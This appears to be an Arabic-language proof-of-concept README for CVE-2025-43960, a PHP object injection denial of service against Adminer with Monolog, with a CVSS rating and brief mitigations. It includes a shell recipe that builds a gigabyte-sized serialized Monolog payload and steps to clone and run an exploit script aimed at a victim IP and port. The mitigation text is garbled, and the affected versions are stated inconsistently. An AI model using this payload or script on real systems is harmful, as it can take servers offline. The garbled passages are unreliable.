
# استغلال حقن كائنات PHP لـ Adminer <4.8.1 عبر Monolog، مما يسبب رفض الخدمة من خلال حمولات متسلسلة مصممة بعناية. يتضمن إثبات المفهوم (PoC)، وتقييم CVSS، وإرشادات التخفيف.
بعد أشهر من انتظار الرد من MITRE، حصلت على CVE-2025-43960 بهجوم حقن كائنات PHP ضد خدمة Adminer (<4.8.1)، مما يسبب رفض الخدمة (DoS) من خلال التلاعب بالذاكرة.
https://github.com/user-attachments/assets/ebf7d8e8-01db-4d02-bb12-33321c749458
تسمح هذه الثغرة الأمنية للمهاجمين غير المصادق عليهم عن بُعد باستغلال نسخ Adminer 4.8.1 التي تستخدم Monolog، مما يتسبب في رفض الخدمة (DoS) من خلال حقن كائنات PHP. لا يتطلب ناقل الهجوم أي مصادقة أو تفاعل من المستخدم، مما يجعله مشكلة عالية الخطورة (CVSS 7.5) مع إمكانية الارتقاء إلى 8.6 في بعض البيئات المشتركة.
يسمح Adminer 4.8.1، عند استخدام Monolog لتسجيل السجلات، برفض الخدمة (استهلاك الذاكرة) عبر حمولة تسلسلية مصممة مثل تلك التي تحتوي على سلسلة s:1000000000، وهو ما يُعرف بمشكلة حقن كائنات PHP. تؤثر الثغرة على نسخ Adminer التي تستخدم Monolog لتسجيل السجلات، حيث يتم إلغاء تسلسل إدخال المستخدم غير الموثوق دون تحقق مناسب.
من خلال إرسال كائن كبير مُلغى التسلسل، يمكن للمهاجم فرض استهلاك عالٍ للذاكرة، مما يجعل واجهة Adminer غير مستجيبة ويتسبب في رفض خدمة على مستوى الخادم.
الدرجة الأساسية: 7.5 (عالية)
المتجه: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
ملاحظة حول حالات النشر المحددة:
إذا كان انهيار Adminer يعطل أيضًا خدمات/مستأجرين آخرين (مثل حاوية أو عملية مشتركة)، فقد ينطبق النطاق: متغير (Scope: Changed):
- المتجه:
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H- الدرجة: 8.6 (عالية)
unserialize() على البيانات غير الموثوقة داخل Adminer وMonolog.memory_limit) في PHP لمنع الاستهلاك المفرط للموارد.allowed_classes في unserialize() لتقييد إلغاء تسلسل الفئات غير المصرح بها.< 4.8.1 (أحدث إصدار مستقر وقت الاختبار)unserialize()توليد الحمولة:
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{
s:9:"*socket";r:2;
s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";
}' > payload.txt
الأثر:
git clone https://github.com/far00t01/CVE-2025-43960
cd CVE-2025-43960
pip install -r requirement.txt
python3 cve-2025-43960.py
python3 cve-2025-43960.py
Usage: cve-2025-43960.py <ip-listener> <port-listener> <ip-victim:port>
Example: python3 cve-2025-43960.py 198.51.100.11 80 203.0.113.11:8000
Fabian Rosales (@far00t01) Medium.